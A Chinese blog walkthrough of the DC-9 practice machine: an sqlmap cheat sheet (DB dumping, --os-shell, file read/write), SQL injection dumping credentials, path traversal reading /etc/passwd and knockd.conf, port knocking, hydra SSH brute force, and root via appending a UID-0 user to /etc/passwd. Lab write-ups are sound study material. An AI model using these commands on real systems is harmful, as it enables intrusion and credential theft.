DC9靶机渗透记录

发布于 2023-09-22  372 次阅读


  • 和前面DC靶机重复的部分就不记录的那么详细了

前置知识

  • sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
  • 这里贴一份基本的使用方法
sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell   #知道网站的账号密码直接连接
  • 还有一些其他的参数
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段

--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
  • 注意到--data参数,因为在sql查询传参的时候,往往是通过post来传参,所以这个参数会经常用到.并且往往是网页之间互相post内容,这时候就需要查看网页的源代码或者抓包来判断post到底传了什么,这一点会在下面得到实践

  • 如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

  • 敲门(knock)指的是我们从自己的客户端设备(pc、笔记本或者手机)向服务器IP发送一系列实现约好的暗号,而服务器上需要相应的安装接收暗号的服务knockd,它在接收到正确的暗号的时候,会临时性的为敲门者开一段时间的门并随后关上(当然也能够配置成一直开着),我们要在这几秒钟里面登录成功并且保持连接,如果不小心断了连接就要重新敲门。

  • 我们使用防火墙将某个端口给掐断,然后利用knockd软件即可实现连接

  • knockd的破解之法在于其配置文件knockd.conf,里面有如下字段

Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。

OpenSSH:该字段包括序列、序列超时、命令和tcp标志。Sequence:它显示可由客户软件用作启动操作的模式的端口序列。

Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。

command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。

TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。

  • 通过上面的信息,我们就可以找出敲门暗号,从而利用knockd绕过防火墙实现连接

渗透记录

  • 老样子,先两种方法查ip
nmap 192.168.136.0/24

arp-scan -l

  • 然后探测一下服务
nmap -A -p- 192.168.136.129

  • 22端口有ssh服务处于filter状态,无法判断,可能是装了什么防火墙,80端口有个web服务,访问一下

  • wapparlyzer探测一下cms,没有成功

  • dirsearch扫一下目录,都没啥发现,看来这不是一个常见的模板

  • 访问刚才扫到的display.php,发现存了很多用户信息之类的东西,并且search.php上面有搜索框,可以考虑使用sql注入

  • 使用简单闭合测试一下
1' or 1=1 #  显示了所有数据

1' or 1=2 #  回显无数据

  • 那么闭环方式就出来了,并且可以判定这里存在报错注入,用sleep也可以测出这里也有时间盲注(其他几种注入没有测试),但是以前都是使用手工注入,这里学习使用一下sqlmap的基本使用方法

  • 首先要判断是否存在注入,但是这里显示是post传参,我们需要找到post了什么,看看源代码

<form action="results.php" method="post">
<p><strong>Search:</strong><br/>
<input type="text" name="search"></p>
<p><input type="submit" value="Submit"></p>

  • 分析得知这里是向results.php给post了一个search参数,所以sqlmap的语句是
sqlmap -u http://192.168.136.129/results.php --data 'search=1'
  • 根据前置知识部分的利用方法,先查库名,中途弹的选项全部选y即可
sqlmap -u http://192.168.136.129/results.php --data 'search=1' --dbs

  • 拿到三个库
[*] information_schema
[*] Staff
[*] users

  • 然后看看user库里面有啥表
sqlmap -u http://192.168.136.129/results.php --data 'search=1' -D users --tables

  • 得到一张表
UserDetails

  • 查查UserDetails表里面有哪些字段
sqlmap -u http://192.168.136.129/results.php --data 'search=1' -D users -T UserDetails --columns

  • 得到6个字段
| password  | varchar(20)     |
| firstname | varchar(30)     |
| id        | int(6) unsigned |
| lastname  | varchar(30)     |
| reg_date  | timestamp       |
| username  | varchar(30) 

  • 查username和password值
sqlmap -u http://192.168.136.129/results.php --data 'search=1' -D users -T UserDetails -C username,password --dump

  • 得到了很多组账户密码
|username  | password      |
| marym     | 3kfs86sfd     |
| julied    | 468sfdfsd2    |
| fredf     | 4sfd87sfd1    |
| barneyr   | RocksOff      |
| tomc      | TC&TheBoyz    |
| jerrym    | B8m#48sd      |
| wilmaf    | Pebbles       |
| bettyr    | BamBam01      |
| chandlerb | UrAG0D!       |
| joeyt     | Passw0rd      |
| rachelg   | yN72#dsd      |
| rossg     | ILoveRachel   |
| monicag   | 3248dsds7s    |
| phoebeb   | smellycats    |
| scoots    | YR3BVxxxw87   |
| janitor   | Ilovepeepee   |
| janitor2  | Hawaii-Five-0 |

  • 但是经过测试,这些密码都登不了这个网站后台,不知道是什么服务的密码,看了wp才知道要查Staff库的Users表存储的用户名和密码,查询方法和上面完全相同,这里因为使用了dump参数,会提示关于字典选择之类的,一路y或者enter,爆破一会儿
sqlmap -u http://192.168.136.129/results.php --data 'search=1' -D Staff -T Users -C Username,Password --dump

  • 得到一组用户名和密码
admin    | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)

  • 暂时没弄懂是不是查具体数据就必须加dump参数爆破得到,反正这个环境下我测了一下不加dump就没结果

  • 直接使用admin:transorbital1登录网站后台,刚开始还想着哈希碰撞,后来发现transorbital1的原值被写出来了已经

  • 注意到页面下面有个File does not exist,考虑可能存在文件包含漏洞,传一个file参数试试包含一下/etc/passwd文件,但是不知道目录结构,所以需要不断加../去尝试,最后试出来为
?file=../../../../etc/passwd

  • 注意到里面有一些用户名是之前爆出来的以为没用的用户名,看来这些用户名和密码可以用于登录ssh,但是ssh服务处于filtered状态,不能直接登录,这里考虑是使用了上面提到的knockd技术

  • 根据上面的思路,我们先得读取konckd的配置文件,一般是在/etc/knockd.conf下面,成功得到配置文件

?file=../../../../etc/knockd.conf
[options] 
UseSyslog 

[openSSH] 
sequence = 7469,8475,9842 
seq_timeout = 25 
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j 
ACCEPT tcpflags = syn 

[closeSSH] 
sequence = 9842,8475,7469 
seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j 
ACCEPT tcpflags = syn 

  • 从这其中,我们可以读出打开ssh 22访问的三个操作端口为7469,8475,9842,然后konck成功之后就会执行/sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j 命令,将iptable对22端口的限制给解除掉

  • 那么构造三次敲门即可

nmap -p 7469 192.168.136.129
nmap -p 8475 192.168.136.129
nmap -p 9842 192.168.136.129
  • 因为有超时限制,所以我们写个bash脚本来实现
for x in 7469 8475 9842; do nmap -p $x 192.168.136.129; done

  • 再次探测服务,果然,22端口已经开放辣
nmap -A -p- 192.168.136.129

  • 然后就要试账户密码了,上面我们在数据库里面搞到一堆账户密码,但是不是所有都可以用,所以我们考虑使用hydra帮我们测试,首先将用户名写入u.txt,将密码写入p.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
  • 我的mousepad坏了,vim不方便复制,最好直接windows里面cv好了然后丢linux里面,然后拿俩字典直接爆破就行辣
hydra -L u.txt -P p.txt 192.168.136.129 ssh

  • 成功找到三组账户密码
[22][ssh] host: 192.168.136.129   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.136.129   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.136.129   login: janitor   password: Ilovepeepee
  • ssh登一下试试
ssh janitor@192.168.136.129 -p 22

  • 这时候肯定就得提权了,但是sudo -l发现没有可以用来提权的东西
sudo -l

  • 然后就是在用户目录里面翻翻找找,找到个passwords-found-on-post-it-notes.txt,里面存了之前的一些用户的密码
ls
ls -a
cd .secrets-for-putin
ls -a
cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

  • 把这些密码加到刚才的字典里面再爆破一次,这次爆破出来四组用户
hydra -L u.txt -P p.txt 192.168.136.129 ssh
[22][ssh] host: 192.168.136.129   login: fredf   password: B4-Tru3-001
[22][ssh] host: 192.168.136.129   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.136.129   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.136.129   login: janitor   password: Ilovepeepee

  • 然后一组一组ssh登录后尝试,最后发现fredf这组有个test文件可以五五密码拿到root
ssh fredf@192.168.136.129 -p 22
sudo -l

  • 查看一下这个文件,发现是可执行文件,然后运行一下试试
file /opt/devstuff/dist/test/test
cd /opt/devstuff/dist/test/
./test

  • 原来是个python脚本,那么找到这个文件的位置并且看看这个脚本的内容,这里2>/dev/null可以忽略报错
find / -name "test.py" 2>/dev/null
cat /opt/devstuff/test.py
import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

  • 这段代码接收了两个参数(不包括自己),如果参数数目不为2就报错退出,第二个参数传入一个文件路径,将文件追加写入第一个参数传的文件的后面
  • 那么我们相当于有了root级别的写文件的能力了,直接往passwd文件写一个root用户就可以了,dc4那一篇里面有详细的原理,我们这里写一个无密码的root用户miao进去,生成一个/tmp/passwd(直接往/etc/passwd文件写是没权限的),然后cat一下看看是否成功
echo 'miao::0:0:::/bin/bash' >>/tmp/passwd
cat /tmp/passwd

  • 然后用上面那个可以以root追加文件内容的脚本来把/tmp/passwd追加到/etc/passwd就可以辣,cat一下,最后一行果然有了无密码得到root账户
sudo ./test /tmp/passwd /etc/passwd
cat /etc/passwd

  • su命令切换到miao用户,root到手,额显示没有用户
su miao

  • ,那么补点数据试试?这次创建一个无密码的wang用户,先把之前的/tmp/passwd给删掉,免得重复写入了
rm -rf /tmp/passwd
echo 'wang::0:0:qswl:/home/wang:/bin/bash' >>/tmp/passwd
sudo ./test /tmp/passwd /etc/passwd
cat /tmp/passwd
su wang

  • 这次是识别到了用户,但是没密码被硬说成有密码,那就写一个带密码的试试吧,这里用openssl生成一个密码,语法为:openssl passwd -1(md5加密算法) -salt(用一个随机数去加盐) admin(用户名) 123456(明文密码)
openssl passwd -1 -salt admin 123456
$1$admin$LClYcRe.ee8dQwgrFc5nz.
  • 然后再写入用户
rm -rf /tmp/passwd
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:qswl:/home/wang:/bin/bash' >>/tmp/passwd
cat /tmp/passwd
sudo ./test /tmp/passwd /etc/passwd
su admin

  • 这下root到手,不过不知道这里为啥必须得有密码,cat最终flag
cd /root
ls
cat theflag.txt

届ける言葉を今は育ててる
最后更新于 2024-02-07